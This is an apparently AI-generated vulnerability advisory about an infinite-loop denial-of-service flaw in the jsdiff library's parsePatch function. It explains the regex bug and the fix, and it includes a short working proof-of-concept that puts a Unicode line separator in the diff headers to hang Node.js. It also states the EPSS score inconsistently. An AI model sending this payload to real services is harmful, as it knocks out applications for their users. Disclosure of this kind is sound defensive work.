CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-73RR-HH4G-FPGX
2.70.02%

Infinite Loop in jsdiff: When Typography Attacks

Alon Barad
Alon Barad
Software Engineer

Feb 19, 2026·5 min read·12 visits

PoC Available

Executive Summary (TL;DR)

The `jsdiff` library contains a Regex Denial of Service (ReDoS) and infinite loop vulnerability. The regex used to parse diff headers treats the dot `.` character as 'anything but newline', failing to account for Unicode line separators. This causes the parser to get stuck reprocessing the same line forever. Update to versions 3.5.1, 4.0.4, 5.2.2, or 8.0.3 immediately.

A denial-of-service vulnerability exists in the ubiquitous `jsdiff` library, used by millions of Node.js applications for text comparison. The flaw lies within the `parsePatch` method, where an insecure regular expression fails to handle specific Unicode line terminators. By crafting a patch file with a `\u2028` (Line Separator) or `\u2029` (Paragraph Separator) in the filename header, an attacker can force the parser into an infinite loop, starving the Node.js event loop and crashing the application.

The Hook: The Invisible Backbone

If you write JavaScript, you use jsdiff. You might not know it, but you do. It's the silent workhorse behind mocha, karma, standard git GUIs, and pretty much every testing framework that shows you a colorful diff when your assertions fail. It is the plumbing of the JS ecosystem.

But plumbing is only exciting when it leaks. In this case, jsdiff isn't leaking water; it's leaking CPU cycles. Specifically, in the parsePatch and applyPatch methods—the functions responsible for taking a unified diff string and applying it to code.

Imagine a scenario where a user submits a patch file to your code review tool, or a logging system parses a diff for display. If that text contains a specific, invisible Unicode character, the entire Node.js process—single-threaded as it is—will freeze instantly. It won't throw an error. It won't timeout. It will simply stare at that line of text until the heat death of the universe (or until your watchdog kills the container).

The Flaw: The Lie of the Dot

The vulnerability is a classic case of "Regular Expressions are harder than you think." The root cause is how JavaScript's regex engine handles the dot (.) character versus how the developer thought it handled it.

In the parsePatch function, the library attempts to identify file headers (lines starting with --- or +++). The developers used this regex:

(/^(---|\+\+\+)\s+(.*)\r?$/)

The intention is clear: match the prefix, some whitespace, and then (.*) captures the rest of the line (the filename). The assumption was that . matches everything up to the end of the line. But in JavaScript, . does not match line terminators. We all know it doesn't match \n. But did you know it also doesn't match \u2028 (Line Separator) or \u2029 (Paragraph Separator)?

When the parser encounters a line like --- filename\u2028.txt, the regex engine sees the ---, matches the space, but then (.*) hits the \u2028 and stops. Because the regex is anchored with $ (end of string), the entire match fails.

The parser logic, expecting a header but failing to match one, doesn't advance its internal pointer correctly. It circles back, sees the --- again, tries the regex again, fails again, and enters an infinite loop. It is the software equivalent of a dog chasing its tail, except the dog consumes 100% of your vCPU.

The Code: Autopsy of a Fix

The fix is a beautiful example of "boring is better." The maintainers realized that using a complex regex to parse a simple string prefix is asking for trouble. They abandoned the capture group entirely in favor of raw string manipulation.

Here is the vulnerable code logic compared to the patched version in commit 15a1585230748c8ae6f8274c202e0c87309142f5:

Before (The CPU Eater):

// Relies on the greedy (.*) which fails on unicode terminators
const fileHeader = (/^(---|\+\+\+)\s+(.*)\r?$/).exec(diffstr[i]);
if (fileHeader) {
    // Extract using regex capture group
    const data = fileHeader[2].split('\t', 2);
    // ...
}

After (The Safe Approach):

// Only checks the prefix. Doesn't care what comes after yet.
const fileHeaderMatch = (/^(---|\+\+\+)\s+/).exec(diffstr[i]);
if (fileHeaderMatch) {
    const prefix = fileHeaderMatch[1];
    // Manually slice the string. substring() doesn't care about unicode.
    const data = diffstr[i].substring(3).trim().split('\t', 2);
    // ...
}

By switching to substring(3), the code explicitly says "give me everything after the third character." This method is agnostic to line terminators. Whether it's a standard newline or a weird paragraph separator, substring eats it all. It's dumber, faster, and infinitely safer.

The Exploit: Weaponizing Typography

Exploiting this is trivially easy if you have an injection vector where an application parses a patch file. You don't need shellcode. You don't need memory addresses. You just need a text editor that supports Unicode insertion.

The Attack Scenario:

  1. Target: A code pastebin, a git integration service, or a CI/CD pipeline that uses jsdiff to display changes.
  2. Payload: A unified diff where the filename header includes the Line Separator character (U+2028).

The PoC:

const Diff = require('diff');
 
// The \u2028 character is the "poison pill"
const maliciousPatch = 
  '--- malicious_file\u2028name.js\n' + 
  '+++ malicious_file\u2028name.js\n' + 
  '@@ -1 +1 @@\n' + 
  '-old\n' + 
  '+new';
 
console.log("Starting parse... (Say goodbye to your CPU)");
 
// This line will hang forever
Diff.applyPatch('old content', maliciousPatch);

When applyPatch runs, the internal parser gets stuck on the first line. The application will hang. If this is running in a web request handler, the request will timeout, but the Node process will remain pegged at 100% CPU usage until the OS kills it.

The Impact: Death by Text

While the CVSS score is technically low (2.7) due to the complexity of the attack requirements (you need to feed a patch file to the system), the impact on availability is absolute. In the Node.js event loop model, a synchronous infinite loop is the kiss of death.

Why it hurts:

  • Single Threading: Node.js runs on a single thread. One stuck request blocks all other users. A single malicious packet can take down an entire instance.
  • Serverless Bills: If this runs in an AWS Lambda or Google Cloud Function, the execution will run until it hits the hard timeout (usually minutes). An attacker could flood you with these requests, burning through your compute budget instantly.
  • Stealth: Because it consumes CPU rather than crashing with an exception, it might not trigger standard error alerting immediately. It looks like "heavy load" rather than a bug.

This is a stark reminder that input validation isn't just about stopping SQL injection; it's about ensuring your parser actually survives the input it's given.

Official Patches

GitHub (kpdecker)Official fix commit

Fix Analysis (1)

Technical Appendix

CVSS Score
2.7/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U
EPSS Probability
0.02%
Top 96% most exploited

Affected Systems

Node.js applications using jsdiffTesting frameworks (Mocha, Karma)Git GUIs built on ElectronCode review tools parsing unified diffs

Affected Versions Detail

Product
Affected Versions
Fixed Version
jsdiff
kpdecker
< 3.5.13.5.1
jsdiff
kpdecker
>= 4.0.0, < 4.0.44.0.4
jsdiff
kpdecker
>= 5.0.0, < 5.2.25.2.2
jsdiff
kpdecker
>= 6.0.0, < 8.0.38.0.3
AttributeDetail
CWE IDCWE-400 (Resource Consumption)
Secondary CWECWE-1333 (Inefficient Regex)
CVSS v4.02.7 (Low)
Attack VectorNetwork
EPSS Score0.00018 (~4%)
Affected ComponentparsePatch / applyPatch

MITRE ATT&CK Mapping

T1499Endpoint Denial of Service
Impact
CWE-400
Uncontrolled Resource Consumption

Uncontrolled Resource Consumption

Known Exploits & Detection

Research ContextConstructed PoC involves injecting \u2028 into filename header

Vulnerability Timeline

Fix commit pushed to repository
2026-01-07
CVE-2026-24001 published
2026-01-22
Advisories released by Snyk/SentinelOne
2026-01-23

References & Sources

  • [1]jsdiff Repository
  • [2]CWE-400: Uncontrolled Resource Consumption
Related Vulnerabilities
CVE-2026-24001

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.